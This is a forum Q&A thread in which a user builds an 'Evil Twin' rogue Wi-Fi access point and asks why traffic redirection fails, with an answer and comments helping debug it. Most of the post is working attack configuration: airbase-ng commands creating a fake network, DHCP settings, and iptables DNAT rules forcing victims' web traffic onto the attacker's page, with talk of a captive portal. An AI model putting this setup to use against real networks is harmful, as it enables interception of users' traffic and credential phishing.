1

I've been looking into the Evil Twin method and I found this steps:

  1. Creating AP

    airmon-ng start wlan0 
    airbase-ng -e PrivateWIFI -c 9 -v mon0
    
  2. at0 Configuration

    ifconfig at0 up
    ifconfig at0 192.168.1.20 netmask 255.255.255.0
    route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.20
    
  3. Run DHCP

    echo > '/var/lib/dhcp/dhcpd.leases'
    
    /etc/init.d/isc-dhcp-server start OR dhcpd -d -f -cf /etc/dhcp/dhcpd.conf at0 ( the both of them is working fine )
    

dhcpd.conf file:

ddns-update-style interim;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.1.0 netmask 255.255.255.0 {
    option subnet-mask 255.255.255.0;
    option broadcast-address 192.168.1.255;
    option routers 192.168.1.1;
    option domain-name-servers 8.8.8.8;
    range 192.168.1.2 192.168.1.250;
}

and then I started my apache2 server

( Until here there is no problem )

Status ( I can open my web server 192.168.1.20 from my phone and see the webpage that I've made :) :) )

But the problem is that when I add iptables commands nothing is happening:

iptables --flush
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A POSTROUTING -j MASQUERADE
echo "1" > /proc/sys/net/ipv4/ip_forward

////////////////////////////////////////////////////////////////////////

iptables --flush
iptables --table nat --append POSTROUTING --out-interface at0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A POSTROUTING -j MASQUERADE
echo "1" > /proc/sys/net/ipv4/ip_forward

Both of them not working, I wish someone could help me.

0

I don't know if the issue is your browser being redirected to the web server or if it is not going across to the internet, but i'm seeing something you should fix.

You should have only one masquerading interface, not two. The correct one is eth0 (assuming that it is the one interface that is directly connected to the internet), not the rogue-net at0 interface. Therefore, you must remove that second to last line.

After that being said, see if things work the way you expect it to. If not, give us an accurate description of your problem along with your current diagnostics.

Kind Regards.

2
  • Thank you for you answer , but i can't make eth0 because i'm not using virtual machine ( because with a virtual machine you can make eth0 network with windows) i've installed kali linux directly to the computer and when i write "ip route" in my terminal i get nothing - but i've tried to make an eth0 network with my Android phone and it works but i won't make evil twin only with my phone , also i've asked a teacher and he said for me that i have to make ((web captive)) or something like that , also i want to ask you if i can make my computer a dns server and put my dns ip in DHCP configuration
    – Khalil Bz
    May 14 '15 at 16:06
  • Yes, you could put these services in the same server. May 15 '15 at 20:14

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.